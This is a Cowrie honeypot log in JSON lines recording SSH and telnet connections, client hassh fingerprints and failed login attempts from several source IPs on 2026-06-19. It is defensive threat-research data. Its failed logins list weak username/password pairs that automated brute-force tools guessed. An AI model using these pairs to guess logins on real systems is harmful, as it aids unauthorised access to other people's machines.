{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:36.545440Z","src_ip":"103.82.20.28","session":"50790c5fb300","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:36.806033Z","src_ip":"141.11.88.14","session":"69fddd3ece98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:36.809251Z","src_ip":"141.11.88.14","session":"69fddd3ece98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280785","message":"login attempt [root/280785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:37.335814Z","src_ip":"103.82.20.28","session":"50790c5fb300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo","message":"login attempt [odoo17/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:37.545916Z","src_ip":"141.11.88.14","session":"69fddd3ece98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:38.601215Z","src_ip":"103.82.20.28","session":"50790c5fb300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:38.644372Z","src_ip":"141.11.88.14","session":"69fddd3ece98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":55268,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfd51976e22a","protocol":"ssh","message":"New connection: 141.11.88.14:55268 (10.17.0.5:22) [session: dfd51976e22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:43.042975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:43.132916Z","src_ip":"141.11.88.14","session":"dfd51976e22a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:43.136369Z","src_ip":"141.11.88.14","session":"dfd51976e22a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:44.735376Z","src_ip":"141.11.88.14","session":"dfd51976e22a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:45.917494Z","src_ip":"141.11.88.14","session":"dfd51976e22a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47640,"dst_ip":"10.17.0.5","dst_port":22,"session":"3935a63df1d0","protocol":"ssh","message":"New connection: 141.11.88.14:47640 (10.17.0.5:22) [session: 3935a63df1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:50.727345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:50.795815Z","src_ip":"141.11.88.14","session":"3935a63df1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:50.884099Z","src_ip":"141.11.88.14","session":"3935a63df1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:51.219185Z","src_ip":"141.11.88.14","session":"3935a63df1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:52.568388Z","src_ip":"141.11.88.14","session":"3935a63df1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40050,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad9dc6a2bd65","protocol":"ssh","message":"New connection: 141.11.88.14:40050 (10.17.0.5:22) [session: ad9dc6a2bd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:57.850487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:58.242182Z","src_ip":"141.11.88.14","session":"ad9dc6a2bd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:11:58.246651Z","src_ip":"141.11.88.14","session":"ad9dc6a2bd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:00.051780Z","src_ip":"141.11.88.14","session":"ad9dc6a2bd65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:01.159450Z","src_ip":"141.11.88.14","session":"ad9dc6a2bd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":53800,"dst_ip":"10.17.0.5","dst_port":22,"session":"de7bd485bf56","protocol":"ssh","message":"New connection: 41.86.34.139:53800 (10.17.0.5:22) [session: de7bd485bf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:04.314608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:04.323922Z","src_ip":"41.86.34.139","session":"de7bd485bf56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:04.533098Z","src_ip":"41.86.34.139","session":"de7bd485bf56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345qwert","message":"login attempt [ubuntu/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:05.399065Z","src_ip":"41.86.34.139","session":"de7bd485bf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40084,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffdbe67d6b3d","protocol":"ssh","message":"New connection: 141.11.88.14:40084 (10.17.0.5:22) [session: ffdbe67d6b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:05.942483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:06.082500Z","src_ip":"141.11.88.14","session":"ffdbe67d6b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:06.087413Z","src_ip":"141.11.88.14","session":"ffdbe67d6b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:06.610661Z","src_ip":"41.86.34.139","session":"de7bd485bf56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:06.661860Z","src_ip":"141.11.88.14","session":"ffdbe67d6b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:07.930293Z","src_ip":"141.11.88.14","session":"ffdbe67d6b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.6423397064209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:08.033814Z","src_ip":"172.81.62.90","session":"7c930bdeb867","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31714,"dst_ip":"10.17.0.5","dst_port":22,"session":"411fc5366504","protocol":"ssh","message":"New connection: 141.11.88.14:31714 (10.17.0.5:22) [session: 411fc5366504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:14.926877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:15.244426Z","src_ip":"141.11.88.14","session":"411fc5366504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:15.248317Z","src_ip":"141.11.88.14","session":"411fc5366504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":59082,"dst_ip":"10.17.0.5","dst_port":22,"session":"f629f58ae7ac","protocol":"ssh","message":"New connection: 103.143.231.24:59082 (10.17.0.5:22) [session: f629f58ae7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:16.250356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:16.254973Z","src_ip":"103.143.231.24","session":"f629f58ae7ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:16.325327Z","src_ip":"103.143.231.24","session":"f629f58ae7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"P@ssw0rd","message":"login attempt [alex/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:12:16.459551Z","src_ip":"141.11.88.14","session":"411fc5366504","protocol":"ssh"}
